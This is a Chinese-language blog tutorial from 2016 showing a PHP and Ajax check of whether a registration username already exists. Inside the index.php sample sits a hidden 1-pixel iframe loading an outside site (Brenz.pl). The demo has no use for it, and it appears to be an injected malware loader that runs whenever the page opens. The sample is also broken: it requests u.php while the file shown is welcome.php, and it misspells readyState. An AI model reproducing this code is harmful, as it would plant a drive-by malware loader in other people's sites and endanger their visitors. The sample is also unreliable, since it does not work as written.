PHP結合Ajax實現登入驗證的Demo

smileNicky發表於2016-03-15
PHP



設計一個使用者註冊頁面，當使用者輸入註冊名的時候，檢測使用者名稱是否已存在，如果存在，給予提示

 

我們先打index.php

<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=gb2312" />
		<script type="text/JavaScript">
		function Ajax(){
			var xmlHttpReq=null;//初始物件xmlHttpReq
			if(window.ActiveXObject){
				xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
			}else if(window.XMLHttpRequest){
				xmlHttpReq=new XMLHttpRequest();
			}
			var userId=document.getElementById("userId").value;//value取得id為userId的值
			url="u.php?userId="+userId;//路徑
			if(xmlHttpReq!=null){//若物件例項化建立成功
				xmlHttpReq.open("GET",url,true);//open()開啟請求
				xmlHttpReq.onreadystatechange=RequestCallBack;//設定回撥函式RequestCallBack()
				xmlHttpReq.send(null);//請求不包括正文
			}
			function RequestCallBack(){//回撥函式
				if(xmlHttpReq.readystate==4){
					if(xmlHttpReq.status==200){//請求成功
						document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的資訊賦給id屬性為get的div
					}
				}
			}
			
		}
		
		</script>
	</head>
	<body>
	<font>
		註冊
	</font><br>
	<form>
	使用者名稱:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()">
	
	<div id="get">
	</div>
	</form>
	<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

 

welcome.php

 

 

<?php 
header("content-type:text/html;charset=gb2312");
//sleep(1);

$userId=$_GET["userId"];
if($userId=="管理員"){
	echo "使用者名稱已存在!";
}else{
	echo "該使用者名稱可以註冊";
}
?>

 

 

 

 

 

 

相關文章